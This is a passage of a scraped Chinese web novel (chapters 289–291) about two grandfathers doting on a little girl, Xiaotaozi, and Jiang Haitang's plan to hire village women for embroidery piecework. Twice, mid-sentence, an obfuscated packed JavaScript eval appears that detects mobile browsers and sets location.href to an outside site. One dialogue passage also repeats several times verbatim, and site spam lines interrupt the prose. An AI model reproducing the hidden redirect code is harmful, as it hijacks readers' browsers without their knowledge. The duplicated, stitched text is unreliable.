要不,早点把海棠给接回来算了,良辰那个臭小子,一个人在西北待上一段时间,也没什么不行的。 给姜老爷子检查,谁知这倔老头又变卦了:“等等!我觉得我身体挺好,要不……” 陆老爷子正要发作,小桃子却灵机一动:“原来说话可以不算数啊,小桃子学会了!” 姜国柱一听,这还了得,立即说:“没有没有,我就是想着去床上躺着检查舒服一点点。” “嗯!太爷爷说得对。”小桃子重重点头,“小桃子想看大夫是怎么看病的!” 陆老爷子眼睛一亮,懂了小桃子的意思,立即帮腔:“对对对,小桃子可聪明了,什么都想学。老姜啊,你就当给孩子做个示范!” 姜老爷子被这一老一小架得下不来台,只得悻悻地接受检查。 戚大夫看着小桃子轻松拿捏了,微笑着摇头,跟着几个人到了屋里。 戚大夫是中医大夫,望闻问切一番一番之后说:“我先开三副中药,吃完了再诊断。” 听到三副中药,姜老爷子脸上都是苦意。 打针没事儿,吃中药,有点难怎么办? “太爷爷,您不会怕苦吧?小桃子给您吃糖好不好?” “不用不用,太爷爷这么厉害的人,怎么可能怕苦?糖留着小桃子吃就行。” 最后,几个人商量定,何婉仪去抓药回来煎好,按时间给姜老爷子送过去。 “老姜,我可给你说,要是你不好好吃药,我就让小桃子给你喂药。”陆老爷子还是很了解姜国柱的,立即说道。 其实,姜老爷子确实有不好好吃药的想法,但听到让小桃子喂药,他瞬间就乖巧听话了。 “我以后监督太爷爷吃药。”小桃子挥舞着小手手表示,自己可以完成这个艰巨的任务。 回去的路上,小桃子歪着头问:“太爷爷,姜太爷爷病得很严重吗?” 陆老爷子叹了口气:“戚大夫说他不太好……年纪大了,想念亲人……” “那……那小桃子以后天天来陪姜家太爷爷好不好?”小桃子认真地说,“太爷爷说,开心了病就好得快!小桃子当姜家太爷爷的亲人!” 陆老爷子心头一暖,摸摸小桃子的头:“好孩子。你本来就是他的亲人,有你在,他会听话。” 要不,早点把海棠给接回来算了,良辰那个臭小子,一个人在西北待上一段时间,也没什么不行的。 第289章 太爷爷怕打雷 陆老爷子邀请戚大夫到了陆家,仔细问了姜国栋的身体情况。 “姜老郁结于心多年,身体受损比较严重,好在最近郁结之气散得差不多了,只要好生调养一段时间,应该就没问题了。 “他还能活多长时间?这才是陆老爷子关心的问题,之前的大夫可是下了决断,说姜国柱最多两年。 现在已经过了一年多,因此,姜国柱病了之后,陆老爷子才会担心姜国柱是油尽灯枯。 这次,听说孙子给姜国柱找了大夫,他甚至想办法将姜国柱的随身医生想法子给调走了。 “好生调养,再长不敢说,七八年应该可以。 听到七八年,陆老爷子一个趔趄,差点摔倒。 七八年? 戚大夫以为陆老爷子对这个时间不满意,还在耐心解释:“老爷子,姜老前些年亏空太厉害了,要不是他的郁结之气已经散去,就连这七八年也是没有的。 “谢谢你啊,戚大夫,你要是能让那老家伙多活上七八年,你就是我的恩人啊! 陆老爷子激动得不得了,以至于让戚大夫都开始疑惑了。 这两位老人家的关系这样好吗? 到了这个位置,还能有如此亲近的关系,两位老人家果然是值得敬仰的。 “能为姜老治病,是我的荣幸,陆老,您身上也有一些暗疾,不若我现在也为您诊脉调理一二? 如果能为这两位调理身体,他也算不枉此,不辜负这一身医术了。 陆老爷子还有迟疑,何婉仪劝说几句之后,也就答应了。 接下来的日子,小桃子每天都会去姜家陪伴姜老太爷。 一边是药物调理,一边是心情越来越愉悦,姜老爷子的气色肉眼可见地好了起来。 之前那些以为姜老爷子很快就会油尽灯枯的人傻眼了。 这日,陆家老爷子又带着小桃子到了姜老爷子家里。 “姜太爷爷!看到姜国柱,小桃子松开陆老爷子的手,欢快地跑过去。 “哎哟,我的小桃子来啦!姜老爷子立刻放下手中的活计,张开双臂接住扑过来的小身影,笑得眼睛眯成一条缝,“想死太爷爷了! 陆老爷子站在门口,看着这一幕,心里酸得直冒泡。 “昨天才见过,今天这话你也好意思说。 “古人说一日不见如隔三秋,还不兴我文艺一下?姜老爷子挑眉说道。 陆老爷子挺直腰板走进院子,努力掩饰眼里的嫌弃。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 小桃子却浑然不觉两个加起来一百多岁的人酸得冒泡,兴奋地展示着她带来的枣泥糕:“姜太爷爷,这是王奶奶做的,可好吃了!我特意给您带的!” “哎哟,我们小桃子真贴心!难怪太爷爷就喜欢你呢。”姜老爷子笑得合不拢嘴,接过糕点咬了一口,“嗯,真甜!比上次那个还香!” 陆老爷子在一旁干坐着,心里暗想:上次?上次小桃子给他带了什么?他怎么不知道? “陆老弟,你也尝尝?小桃子的小手手拿过的糕点,味道就是好。”姜老爷子把糕点递过来。 “不必了,小桃子每天喂我吃好多东西,都习惯了!“陆老爷子的意的不行。 小桃子才不管两个人打机锋,跑到姜老爷子身边,利索地爬到他的膝盖上。 “太爷爷,今天给我编什么啊?小老虎还是小豹子?” “小桃子喜欢什么,太爷爷就给我们小桃子编什么。” 小桃子歪着小脑袋想了好一会儿说道:“想要军功章。” 陆老爷子听到小桃子这么说,乐了,直接从口袋里掏出一个小盒子,打开一看,里面正是一枚军功章。 “要什么草编的军功章啊,太爷爷有现成的,这是太爷爷当年打仗时得的,就给你了,不过,你的保管。” 小桃子眼睛一亮,立刻凑了过去。 姜老爷子见状也不甘示弱:“当谁没有军功章呢,走,小桃子,咱们去书房,太爷爷给你看多多的军功章。” 一时间,两位老人像两个争宠的孩子,想法子吸引着小桃子的注意力。 三个人一起到了姜老爷子的书房里,姜老爷子打开柜子,从里面拿出好些个大大小小的盒子,一个个打开给小桃子看。 “小桃子啊,这是1938年,太爷爷在……” 姜老爷子如数家珍一样,开始给小桃子讲述这些军功章的来历。 讲起当年的战斗故事,姜老爷子虽然语气依旧严肃,但为了吸引小桃子,特意加入了一些生动的细节。 小桃子听得入迷,时不时发出惊叹声。 陆老爷子也因为姜老爷子讲的这些故事,陷入过往的回忆里,不时插话补充一些历史背景,两人竟意外地配合默契。 故事讲到一半,小桃子突然说:“姜太爷爷,您能用草编一个小战士吗?就像故事里那个勇敢的叔叔一样的!” 姜老爷子先是迟疑了一下,随后欣然应允,手指灵活地翻飞起来。 陆老爷子看着忽然觉得眼睛十分酸涩,眼泪差点儿 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 落下来。 故事里的那些人很多都已经不在世上了他们分开已经几十年了也不知道他们在另外一个世界过得好不好。 不知道过了多久姜国柱手中的战士编好了虽不算栩栩如生但也十分神似且威风凛凛。 小桃子惊喜地接过开心地欢呼:“太棒了!这就是真正的英雄我要带着他去外面看看我们的幸福生活!” 两位老人显然都没有想到小桃子竟然会有这样的想法这孩子真是太乖巧太有心了。 “好太爷爷带着你去。” “我们一起去带着我们的战友看看这美好的生活。” 小桃子拍手笑道:“两位太爷爷都最厉害了!我最喜欢你们了!” 姜老爷子笑了起来:“我们两个老头子争什么呢真是越活越没出息了。我们能活着已经是上天的恩赐是战友的庇佑。“ 陆老爷子摇摇头笑道:“还不是因为小丫头太可爱了你是不知道我家里那些臭小子一个个淘气的我都没眼看好不容易有了这么个娇娇软软的小姑娘就怕你和我抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158439|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “每天能看看这丫头 姜国柱如何能不明白陆家儿郎多如果能让小桃子和哥哥们处好关系对小丫头将来大有裨益他怎么会为了自己的私心让小丫头来陪他这个行将就木的老家伙呢? “你放心就算小丫头生活在你这里我家那几个小子也会一直护着她。” 晚饭姜国柱是在陆家一起吃饭的。 陆家的几个男娃也都在家里。 姜国柱看着几个男娃把小桃子当宝贝一样的捧着甚至比陆家的长辈对小丫头还宠溺总算放心了。 其实小桃子也有难过的时候到了夜里躺在陌生的大床上她就格外的想妈妈温柔的声音想爸爸宽厚的怀抱想家里那张小床甚至想那些吵吵闹闹的小朋友。 小桃子会偷偷地哭可是她也知道她只能悄悄地哭不能哭出声不能给大人们添麻烦。 小桃子以为自己掩饰得很好可实际上陆家的人都很细心自然发现了。 “小桃子外面打雷了太爷爷一个人有点害怕想找小桃子陪着太爷爷一起睡可以吗?”小桃子正在偷偷抹眼泪的时候耳边突然传来陆老爷子的声音。 小桃子赶紧擦干眼泪不想让陆老爷子看到自己的眼泪:“太爷爷小桃子可勇敢了一点都不害怕。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 小丫头说话的时候,甚至哈拍拍胸脯。 月光透过窗户,陆老爷子看着这样可爱的小娃娃,没忍住将她抱在怀里。 “想爸爸妈妈了?”陆老爷子轻声问道,语气是前所未有的温柔。 小桃子咬着嘴唇,犹豫了一下,终于点点头,眼泪又涌了出来:“我……我好想他们。但是我答应过妈妈要做勇敢的小宝宝……” 陆老爷子叹了口气,轻轻抚摸着小桃子的头发:“勇敢的宝宝也是可以哭的,没事,太爷爷看不见。” 这句话像是打开了闸门,小桃子扑进老人怀里,大哭起来。 陆老爷子笨拙但温柔地拍着她的背,就像多年前哄自己儿子那样。 “太爷爷……爸爸妈妈什么时候来啊?”哭了一会儿,小桃子抽抽搭搭地问。 “很快的,小桃子再耐心等等,爸爸妈妈很快就来了。”陆老爷子轻声安慰:“小桃子要是实在想念他们,明天太爷爷带你给他们打电话。” 得到了陆老爷子的承诺,小桃子瞬间就不哭了:“我不能哭,不能让爸爸妈妈担心。太爷爷,走,小桃子哄着您去睡觉……” 大义凛然要哄着陆老爷子睡觉的小姑娘头放在枕头上就睡着了,陆老爷子为她掖好被角,脸上露出柔和的笑。 很快,陆老爷子也睡着了,这个晚上,陆老爷子睡得格外安心。 第二天一早,小桃子是被院子里的广播声吵醒的。 醒来的时候,迷迷糊糊的揉了揉眼睛,才发现,自己昨天晚上,好像是和太爷爷一起睡的。 太爷爷是怎么说的来着? 太爷爷说,打雷了,有点害怕,她才陪着太爷爷一起睡的。 可是,昨天晚上打雷了吗? 她好像没听见呀? 第290章 打雷了吗? 在房间里看了一圈,没有看到最喜欢的太爷爷,小桃子自己穿好衣服哒哒哒的出门了。 到了客厅里,看见陆老爷子已经穿戴整齐,正坐在餐桌前,军绿色的中山装袖口挽着,专心致志地削苹果。 “小桃子醒啦?”陆老爷子把苹果切成小块放进搪瓷碗里,“赶紧来吃早饭,等吃了早饭,太爷爷带着你去打电话。” 小桃子顿时来了精神,蹬着小碎花棉鞋跑到桌前,自己爬到椅子上准备吃饭。 与此同时,金城。 姜海棠正站在自家院子里,等待着蔡婶子的到来。 “蔡婶子!您可算来了!”看到赵大山陪着蔡婶子一起过来,姜海棠欣喜地上前。 “海棠啊,听说你怀孕了,我赶紧收拾了东西就来了。”蔡婶子笑呵呵地说,手里提着个大包袱,“带了些自家种的枣子和核桃,给你补补身子。” “还有些小米呀什么的,反正一股脑儿都让你大山叔给你背过来了。”蔡婶子拉着姜海棠的手,一叠声地说着。 “婶子,这怎么好意思,这些可都是好东西,你们留着自己家里吃就行。我这里什么都有。”姜海棠很是感激的说道,但又觉得,蔡婶子这样,她怪不好意思的。 “你有那是你的,我拿来的虽然不多,也是我的心意。你也不用担心我们的日子,自从大柱到城里上班,我们家现在的日子在大队里也算数一数二的,不知道多少人羡慕呢。” 说起这个,蔡婶子整个人都精神的不得了,他们家能有今天,还不是因为和姜海棠的关系相处得好? 要是没有海棠出面,就他们乡下人,哪里能在城里弄到工作? “海棠啊,你对我们家的恩情,婶儿都记着呢。” 姜海棠拉着蔡婶子进屋,说道:“快进屋歇歇,路上累了吧?咱们就不用说这些了,再说,大柱也是因为自己有本事,要是大柱自己不争气,就算我有这个心也帮不上。” 两人进屋坐下,蔡婶子打量着整洁的屋子,感叹道:“海棠啊,看到你现在过得好,婶子就放心了。你这娃,前头十几年受苦,现在也算苦尽甘来了。” “蔡婶子,那些年,要是没有您偷偷地接济我,说不定,我都饿**。” “呸呸呸,这些话可不兴说,咱们现在过得好,就要说吉利话。”蔡婶子慢制止姜海棠说下去。 “婶儿,让您留在这里照顾我,大队那边能行不?” 现在个人可不能自由行动,大队要是不同意,蔡婶子就只能回去挣工分。 “大队长听说你想找我来照顾你一段时间,高兴得不得了,立刻给我出证明了。” 蔡婶子掩嘴笑着:“现在,你可是咱们大队第一份的荣耀,因为有你,咱们大队在整个公社都有面子。” 姜海棠听到这话的时候,其实还是有点不好意思的,她因为李家的关系,对清水沟大队其实并没有给予帮助。 充其量就是在厂里需要的时候,收购了一些土而已。 “婶子,大队里的人,对我有怨言吗?” “有啥怨言,路都是自己走出来的,当初你回村子,要是他们都能帮着你,至于到现在这样?” 也就是海棠这娃心善,要不然,凭着她的本事,明示暗示一下,清水沟大队就能被公社打压,哪里能像现在一样,处处被照顾? 蔡婶子忽然拍拍脑袋,从包袱里拿出几件精致的小衣服:“看,我给你肚子里的孩子做了几件衣裳。料子不金贵,但都是好棉布,软和着呢!” 姜海棠接过小衣服,惊讶地发现上面绣着精美的花纹,针脚细密整齐:“婶子,您这手艺真好!比我们厂里的老师傅都不差!” 以前总在一起,姜海棠也没发现,蔡婶子竟然有这个本事呢。 蔡婶子不好意思地笑笑:“咱们村里的女人,谁不会点针线活?不瞒你说,年轻时我学过做锈活,只是这些年,不兴这个了,手都生了。” “这还是手生了?您这手艺是真的好啊!”姜海棠眼睛一亮,“咱们厂里的羊毛衫,要是加上手工绣的标,会更加值钱。” 蔡婶子也没当一回事,直接说:“啥标啊,难不难?我能不能干,要是能干,这事儿就交给我。” 姜海棠坐直了身子,一个想法在她脑海中闪现:“婶子,咱们村里像您这样有手艺的人多吗?” 蔡婶子想了想:“不多,但也不少呢!我想想啊,能和我手艺差不多的有赵三家的媳妇、王五家的、还有……”蔡婶子开始掰着手指头算了起来。 姜海棠听着,还真是有不少人都会呢。 “唉,可惜现在都窝在家里,除了干农活就是带孩子,手艺都快荒废了。” 姜海棠兴奋地握住蔡婶子的手:“婶子,我有个想法!厂里有些零碎的活计,要是请村子里的婶子大娘们帮忙,能成不?按照做工多少给钱,您觉得,他们能愿意不?” “在家里干活?” 姜海棠点头。 “是,在家里干活。” “那有啥不成的,在家里干活,还能赚钱,上哪 儿好这种好事儿去?海棠啊,你不是诓骗婶子吧?真的能有这样的好事儿?” “我还能骗您?”姜海棠越说越兴奋,“我们厂要是需要加工商标,如果找不到合适的机器,人工刺绣就是最好的选择了,大队里有现成的人,又能让妇女们赚点钱,可不是好事?” 蔡婶子思索片刻,也激动起来:“海棠,你这主意好啊!你不知道,村里多少媳妇闺女盼着能有个正经活计,不用全靠男人那点工分!” “这事儿,你要是能帮大队里的妇女们干成了,不知道多少人感谢你呢。” “感谢什么的,也就不用了,我就是想着,能和熟悉的人合作最好。” 姜海棠敢有这样的想法,也是因为这段时间和大队里的人采购高岭土,大队里的人每次都能筛得干干净净,还会把大块地都敲碎。 两人越聊越投机,姜海棠找来纸笔,开始草拟计划。 赵大山在一旁听着,有点着急,自家这老婆子,不是来照顾海棠身体的,咋还打算搞副业了? 但蔡婶子和姜海棠两个人都没有搭理他,只让他喝水,两个人就紧张地忙碌起来了。 姜海棠的铅笔在纸上沙沙作响,勾勒出一个又一个想法。 “婶子,您看这样行不行?”姜海棠指着纸上画的流程图,“厂里把绣标的原材料送到大队,您组织人按件计酬,绣好了再统一送回厂里。” “这法子好!就跟以前合作社领活计一样,不耽误种地,还能赚外快!不过,这事儿**不了。” 姜海棠一听,还有些惊讶。 “婶子,您为啥干不了?我觉得您干就挺好的。” 蔡婶子继续摇头:“现在,你的身体是最重要的,接下来这些天,我什么都不干,就专心照顾你!” 姜海棠忙要反对,蔡婶子又说:“这事儿,和大队长商量一下,要是找个人管事儿,就找王五家的,你别看她大大咧咧的,是个有些真本事的,而且绣工也好。” 姜海棠其实更加愿意相信蔡婶子,但蔡婶子既然提到了王五家的,姜海棠也没打算驳蔡婶子的面子。 两个人继续说下去:“不止绣标,如果手艺真的好,以后还可以接绣花边的活,甚至整件衣服的刺绣。我们的手工绣品,在国际上都很受欢迎呢!” “国际?你说的是外国?”蔡婶子手一抖,刚端起来的搪瓷缸子差点儿掉了。 姜海棠郑重点头。 “海棠,你这心也太大了!我们这些乡下婆娘的手艺,还能卖到外国去?”蔡婶 子连连摇头,她是真的觉得她们不行。 “怎么不能?”姜海棠握住蔡婶子的手,指着她拿来的小衣服上一朵栩栩如生的牡丹说,“您绣的这朵牡丹,比我在百货公司看到的出口绣品也不差什么!” 不等蔡婶子在说什么,姜海棠翻出一本厂里的样品册,指着上面的图案:“您看这种简单的商标,一个人一天能绣多少个?” 蔡婶子仔细端详:“要是熟手,二三十个不成问题。生手嘛……十几个总有的。” 姜海棠迅速计算着:“按一个五分钱算,熟手一天能挣一块多,一个月就是三十多块!” “三、三十多?”蔡婶子瞪大眼睛,“比城里工人工资还高?我家大柱现在一个月也就是三十块钱。” “这只是保守估计。”姜海棠笑道,“要是绣复杂的花样,工钱还能更高。” 蔡婶子激动得不行,在屋里来回踱步,那样子好像已经看到眼前放了许多钱一样。 “海棠,这事儿要真成了,你可就是咱们大队妇女们的大恩人了!你知道现在一个壮劳力一天才挣几个工分?年底算下来,能有十块钱就不错了!” 姜海棠点点头。 她太清楚了,农业合作社,能吃饱就是万幸,赚钱什么的,简直不敢想。 “婶子,晚上我和良辰商量一下,这事儿要是能成,就让大队长来一趟,这事儿,他不点头肯定不行。” 蔡婶子连连点头:“我省得,省得!海棠你放心,这事儿没成之前,我一个字都不往外说!” 子连连摇头,她是真的觉得她们不行。 “怎么不能?”姜海棠握住蔡婶子的手,指着她拿来的小衣服上一朵栩栩如生的牡丹说,“您绣的这朵牡丹,比我在百货公司看到的出口绣品也不差什么!” 不等蔡婶子在说什么,姜海棠翻出一本厂里的样品册,指着上面的图案:“您看这种简单的商标,一个人一天能绣多少个?” 蔡婶子仔细端详:“要是熟手,二三十个不成问题。生手嘛……十几个总有的。” 姜海棠迅速计算着:“按一个五分钱算,熟手一天能挣一块多,一个月就是三十多块!” “三、三十多?”蔡婶子瞪大眼睛,“比城里工人工资还高?我家大柱现在一个月也就是三十块钱。” “这只是保守估计。”姜海棠笑道,“要是绣复杂的花样,工钱还能更高。” 蔡婶子激动得不行,在屋里来回踱步,那样子好像已经看到眼前放了许多钱一样。 “海棠,这事儿要真成了,你可就是咱们大队妇女们的大恩人了!你知道现在一个壮劳力一天才挣几个工分?年底算下来,能有十块钱就不错了!” 姜海棠点点头。 她太清楚了,农业合作社,能吃饱就是万幸,赚钱什么的,简直不敢想。 “婶子,晚上我和良辰商量一下,这事儿要是能成,就让大队长来一趟,这事儿,他不点头肯定不行。” 蔡婶子连连点头:“我省得,省得!海棠你放心,这事儿没成之前,我一个字都不往外说!” 子连连摇头,她是真的觉得她们不行。 “怎么不能?”姜海棠握住蔡婶子的手,指着她拿来的小衣服上一朵栩栩如生的牡丹说,“您绣的这朵牡丹,比我在百货公司看到的出口绣品也不差什么!” 不等蔡婶子在说什么,姜海棠翻出一本厂里的样品册,指着上面的图案:“您看这种简单的商标,一个人一天能绣多少个?” 蔡婶子仔细端详:“要是熟手,二三十个不成问题。生手嘛……十几个总有的。” 姜海棠迅速计算着:“按一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158440|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五分钱算,熟手一天能挣一块多,一个月就是三十多块!” “三、三十多?”蔡婶子瞪大眼睛,“比城里工人工资还高?我家大柱现在一个月也就是三十块钱。” “这只是保守估计。”姜海棠笑道,“要是绣复杂的花样,工钱还能更高。” 蔡婶子激动得不行,在屋里来回踱步,那样子好像已经看到眼前放了许多钱一样。 “海棠,这事儿要真成了,你可就是咱们大队妇女们的大恩人了!你知道现在一个壮劳力一天才挣几个工分?年底算下来,能有十块钱就不错了!” 姜海棠点点头。 她太清楚了,农业合作社,能吃饱就是万幸,赚钱什么的,简直不敢想。 “婶子,晚上我和良辰商量一下,这事儿要是能成,就让大队长来一趟,这事儿,他不点头肯定不行。” 蔡婶子连连点头:“我省得,省得!海棠你放心,这事儿没成之前,我一个字都不往外说!” 子连连摇头,她是真的觉得她们不行。 “怎么不能?”姜海棠握住蔡婶子的手,指着她拿来的小衣服上一朵栩栩如生的牡丹说,“您绣的这朵牡丹,比我在百货公司看到的出口绣品也不差什么!” 不等蔡婶子在说什么,姜海棠翻出一本厂里的样品册,指着上面的图案:“您看这种简单的商标,一个人一天能绣多少个?” 蔡婶子仔细端详:“要是熟手,二三十个不成问题。生手嘛……十几个总有的。” 姜海棠迅速计算着:“按一个五分钱算,熟手一天能挣一块多,一个月就是三十多块!” “三、三十多?”蔡婶子瞪大眼睛,“比城里工人工资还高?我家大柱现在一个月也就是三十块钱。” “这只是保守估计。”姜海棠笑道,“要是绣复杂的花样,工钱还能更高。” 蔡婶子激动得不行,在屋里来回踱步,那样子好像已经看到眼前放了许多钱一样。 “海棠,这事儿要真成了,你可就是咱们大队妇女们的大恩人了!你知道现在一个壮劳力一天才挣几个工分?年底算下来,能有十块钱就不错了!” 姜海棠点点头。 她太清楚了,农业合作社,能吃饱就是万幸,赚钱什么的,简直不敢想。 “婶子,晚上我和良辰商量一下,这事儿要是能成,就让大队长来一趟,这事儿,他不点头肯定不行。” 蔡婶子连连点头:“我省得,省得!海棠你放心,这事儿没成之前,我一个字都不往外说!” 子连连摇头,她是真的觉得她们不行。 “怎么不能?”姜海棠握住蔡婶子的手,指着她拿来的小衣服上一朵栩栩如生的牡丹说,“您绣的这朵牡丹,比我在百货公司看到的出口绣品也不差什么!” 不等蔡婶子在说什么,姜海棠翻出一本厂里的样品册,指着上面的图案:“您看这种简单的商标,一个人一天能绣多少个?” 蔡婶子仔细端详:“要是熟手,二三十个不成问题。生手嘛……十几个总有的。” 姜海棠迅速计算着:“按一个五分钱算,熟手一天能挣一块多,一个月就是三十多块!” “三、三十多?”蔡婶子瞪大眼睛,“比城里工人工资还高?我家大柱现在一个月也就是三十块钱。” “这只是保守估计。”姜海棠笑道,“要是绣复杂的花样,工钱还能更高。” 蔡婶子激动得不行,在屋里来回踱步,那样子好像已经看到眼前放了许多钱一样。 “海棠,这事儿要真成了,你可就是咱们大队妇女们的大恩人了!你知道现在一个壮劳力一天才挣几个工分?年底算下来,能有十块钱就不错了!” 姜海棠点点头。 她太清楚了,农业合作社,能吃饱就是万幸,赚钱什么的,简直不敢想。 “婶子,晚上我和良辰商量一下,这事儿要是能成,就让大队长来一趟,这事儿,他不点头肯定不行。” 蔡婶子连连点头:“我省得,省得!海棠你放心,这事儿没成之前,我一个字都不往外说!” 子连连摇头,她是真的觉得她们不行。 “怎么不能?”姜海棠握住蔡婶子的手,指着她拿来的小衣服上一朵栩栩如生的牡丹说,“您绣的这朵牡丹,比我在百货公司看到的出口绣品也不差什么!” 不等蔡婶子在说什么,姜海棠翻出一本厂里的样品册,指着上面的图案:“您看这种简单的商标,一个人一天能绣多少个?” 蔡婶子仔细端详:“要是熟手,二三十个不成问题。生手嘛……十几个总有的。” 姜海棠迅速计算着:“按一个五分钱算,熟手一天能挣一块多,一个月就是三十多块!” “三、三十多?”蔡婶子瞪大眼睛,“比城里工人工资还高?我家大柱现在一个月也就是三十块钱。” “这只是保守估计。”姜海棠笑道,“要是绣复杂的花样,工钱还能更高。” 蔡婶子激动得不行,在屋里来回踱步,那样子好像已经看到眼前放了许多钱一样。 “海棠,这事儿要真成了,你可就是咱们大队妇女们的大恩人了!你知道现在一个壮劳力一天才挣几个工分?年底算下来,能有十块钱就不错了!” 姜海棠点点头。 她太清楚了,农业合作社,能吃饱就是万幸,赚钱什么的,简直不敢想。 “婶子,晚上我和良辰商量一下,这事儿要是能成,就让大队长来一趟,这事儿,他不点头肯定不行。” 蔡婶子连连点头:“我省得,省得!海棠你放心,这事儿没成之前,我一个字都不往外说!” 第291章 定下 清晨的阳光透过薄雾洒进院落姜海棠醒来时闻到一股熟悉的小米粥香气。 她披衣起身只见蔡婶子已经在厨房里忙活开了。 “哎哟我的小祖宗怎么这么早就起来了?上班还有一段时间呢再躺会儿。” 蔡婶子一转头看见姜海棠急忙擦擦手过来扶她。 “睡醒了。”姜海棠笑着说。 “你现在是双身子的人可得仔细些。” 姜海棠拉住蔡婶子的手:“婶子我没那么娇气。倒是您昨天累了一天怎么起这么早?” “嗨我们乡下人起惯了早。”蔡婶子利落地盛了一碗金黄的小米粥又端出一碟腌黄瓜和两个煮鸡蛋“快尝尝 粥香浓郁姜海棠尝了一口味道确实非常不错。 她看着蔡婶子忙碌的背影想起昨天商议的事:“婶子大山叔今天啥时候回去?” “一早就去机械厂了打算看看大柱就回去。” “说起来也有些日子没见大柱了婶子您也该去看看大柱。” 姜海棠想着让蔡婶子去看看大柱吧两个厂也不远。 “照顾你是第一位的大柱要是闲下来来看我就行。” 蔡婶子利索地忙着随口回答着姜海棠的话。 “咱们昨天计划的事情得操心起来了良辰这两天开会没回来等他回来了给他说一下我们的计划。”姜海棠心里还想着这件事呢。 “海棠你的身体是最要紧的可别仗着年轻就不当一回事那些绣活的事得等你身子稳妥了再说。” “我真的好着呢您没看我现在的身体可比以前好多了。”姜海棠扶着额头她觉得自己身体还算不错怎么一个个就是担心自己。 正说着门外传来喊声:“海棠阿姨有你的信!” 原来是邻居家的小孩子捎带了一封信给姜海棠。 蔡婶子忙去取了来。 姜海棠拆开一看是从香江那边辗转寄过来的信吴慧婷写的信上写了一些羊毛衫的要求其中提到了商标的问题问有没有解决办法。 “这可真是巧了。”姜海棠把信收拾起来放在一旁:“蔡婶子商标这事儿只怕是不能耽误了。” 蔡婶子问:“咋回事啊?咋就这么着急?” 姜海棠将吴慧婷的要求说了一遍。 “这可真是巧儿他妈给巧儿开门巧到家了。” 蔡婶子原本 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 还想着这事儿姜海棠可能是想提携一下清水沟大队才想出来的还觉得不着急。 现在看商标这个问题还真是个重要的问题。 “要不就让大山叔再住上一个晚上?等晚上良辰开完会把这事儿定下来之后让大山叔回去给大队长说?” “哎呀 “我给机械厂打个电话让机械厂那边给大柱说一声。” 蔡婶子听了这才算放心笑着说道:“还是城里方便我还想着呢这也不是咱们山上大山喊也听不见。” 姜海棠吃完饭去上班了蔡婶子觉得自己也不能闲着她开始在屋里里里外外的忙起来小小的屋子在蔡婶子的打理之下更加干净清爽了许多。 赵大山回来之后也没闲着知道让他等着陆良辰回来商量事儿之后就开始主动在院子里找活儿干了试了试菜地里已经解冻了赵大山索性帮着把前院和后院的地都翻了一遍。 还给他们劈了不少柴实在没事干之后就蹲在院子里抽旱烟。 傍晚陆良辰下班回来一进门就闻到饭菜香又看到屋里的赵大山和蔡婶子两个人忙笑着打招呼。 “蔡婶子赵叔你们来了?” “哎呀您是厂长我们咋能当得起你这一声叔和婶。” “你们是海棠的叔和婶那就是我的叔和婶。”陆良辰十分客气的说道:“海棠还没有回来吗?” “没回来呢。” “蔡婶子大山叔你们一路辛苦了吧?”陆良辰连忙放下公文包热情地招呼。 “不辛苦不辛苦我们是昨天到的已经休息了一个晚上了。”赵大山磕磕烟袋锅站起身憨厚地笑着。 这边正说着话就听到大门响了原来是姜海棠回来了。 蔡婶子系着围裙笑呵呵地说“海棠回来了快洗手吃饭我炖了只老母鸡给你补补身子。” 姜海棠立即明白了说道:“蔡婶子是您昨天带来的老母鸡?我怎么没看到您是不是藏起来了?” “哎呀你这孩子有肉吃就行了管哪里来的干啥!”蔡婶子忙打岔说道。 饭桌上气氛温馨而热闹。 蔡婶子不停地给姜海棠夹菜念叨着孕妇要注意的事说着一些经验之谈。 陆良辰也仔细问了问大队里的情况聊了聊大柱在城里的工作表现少不得要夸奖上几句。 饭后蔡婶子很快洗了碗。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 这边姜海棠已经把自己的想法和吴慧婷的来信给陆良辰说了一遍。 陆良辰听得十分认真手指无意识地轻敲着桌面。 等姜海棠说完他沉思了片刻。 “这个想法很好!正好吴总那边也有这个需要算是既能解决厂里可能的需求 陆良辰首先肯定了后才话锋一转看向姜海棠“海棠你现在最重要的是养好身体这事儿牵扯精力太大你不能太操心。” “我知道我也就是建议一下没打算自己干这事儿。”姜海棠点点头“具体跑腿协调的事肯定不能让我来。” “那你就是说说你的想法我看看谁更合适做这件事。” “我的想法是先确定咱们的手工绣标式样把它作为一个外包项目。由厂里出面和清水沟大队签订一个简单的加工协议。由大队长或者他们大队推选出来的人负责管理、分发原料、验收和收集成品厂里按合格的数量结算费用。这样我们厂里省了人工和场地乡亲们得了实惠两全其美。” “你这个思路很清晰这样操作也确实更规范避免了后续可能有的麻烦。厂里这边我明天开会商量一下问问他们的意见。要是大家都同意就和清水沟大队那边沟通。最好我们能和大队长具体商量一下必须得到大队长和清水沟族老们的的全力支持这事儿才能顺利推行。” 